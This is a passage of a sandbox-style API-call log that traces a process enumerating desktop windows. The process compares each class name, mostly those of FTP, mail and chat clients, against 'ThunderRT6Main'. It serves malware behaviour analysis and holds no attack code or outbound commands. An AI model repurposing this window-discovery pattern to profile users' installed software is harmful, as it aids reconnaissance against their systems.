(lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.477] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0085.477] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0085.477] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0085.477] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0085.477] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0085.477] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0085.477] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.478] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.478] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0085.478] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0085.478] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0085.478] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0085.478] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0085.478] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0085.478] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.478] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.478] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0085.478] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0085.478] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0085.478] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0085.478] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0085.478] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0085.478] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.478] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.478] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0085.479] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0085.479] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0085.479] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0085.479] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0085.479] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0085.479] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.479] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.479] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0085.479] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0085.479] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0085.479] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0085.479] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0085.479] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0085.479] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.479] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.479] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0085.479] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0085.479] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0085.479] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0085.479] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0085.479] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0085.479] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.479] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.480] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0085.480] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0085.480] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0085.480] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0085.480] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0085.480] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0085.480] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.480] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.480] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0085.480] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0085.480] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0085.480] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0085.480] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0085.480] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0085.480] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.480] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.480] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0085.480] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0085.480] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0085.480] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0085.480] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0085.480] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0085.480] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.480] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.480] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0085.480] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0085.481] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0085.481] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0085.481] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0085.481] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0085.481] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.481] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.481] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0085.481] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0085.481] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0085.481] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0085.481] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0085.481] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0085.481] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.481] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.481] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0085.481] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0085.481] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0085.481] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0085.481] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0085.481] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0085.481] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.481] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.481] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0085.481] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0085.481] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0085.481] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0085.482] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0085.482] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0085.482] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.482] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.482] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0085.482] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0085.482] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0085.482] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0085.482] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0085.482] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0085.482] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.482] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.482] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0085.482] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0085.482] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0085.482] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0085.482] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0085.482] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0085.482] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.482] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.482] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0085.482] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0085.482] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0085.482] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0085.482] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0085.482] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0085.483] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.483] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.483] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0085.483] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0085.483] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0085.483] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0085.483] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0085.483] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0085.483] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.483] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.483] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0085.483] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0085.483] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0085.483] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0085.483] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0085.483] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0085.483] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.483] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.483] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0085.483] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0085.483] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0085.483] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0085.483] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0085.483] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0085.483] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.483] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.483] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0085.484] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0085.484] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0085.484] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0085.484] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0085.484] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0085.484] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.484] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.484] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0085.484] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0085.484] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0085.484] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0085.484] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0085.484] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0085.484] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.484] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.484] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0085.484] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0085.484] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0085.484] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0085.484] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0085.484] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0085.484] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.484] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.484] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0085.484] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0085.485] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0085.485] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0085.485] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0085.485] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0085.485] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.485] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.485] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0085.485] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0085.485] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0085.485] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0085.485] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0085.485] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0085.485] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.485] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.485] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0085.485] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0085.485] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0085.485] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0085.485] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0085.485] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0085.485] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.485] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.485] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0085.485] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0085.485] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0085.486] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0085.486] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0085.486] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0085.486] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.486] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.486] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0085.486] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0085.486] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0085.486] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0085.486] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0085.486] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0085.486] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.486] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.486] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0085.486] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0085.486] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0085.486] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0085.486] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0085.486] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0085.486] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.486] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.486] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0085.486] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0085.486] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0085.486] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0085.486] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0085.487] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0085.487] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.487] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.487] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0085.487] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0085.488] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0085.488] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0085.488] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0085.488] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0085.488] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.488] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.488] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0085.488] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0085.488] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0085.488] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0085.488] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0085.488] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0085.488] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.488] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.488] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0085.488] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0085.488] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0085.488] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0085.488] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0085.488] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0085.488] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.488] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.488] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0085.488] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0085.488] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0085.488] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0085.488] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0085.489] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0085.489] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.489] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.489] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0085.489] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0085.489] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0085.489] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0085.489] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0085.489] 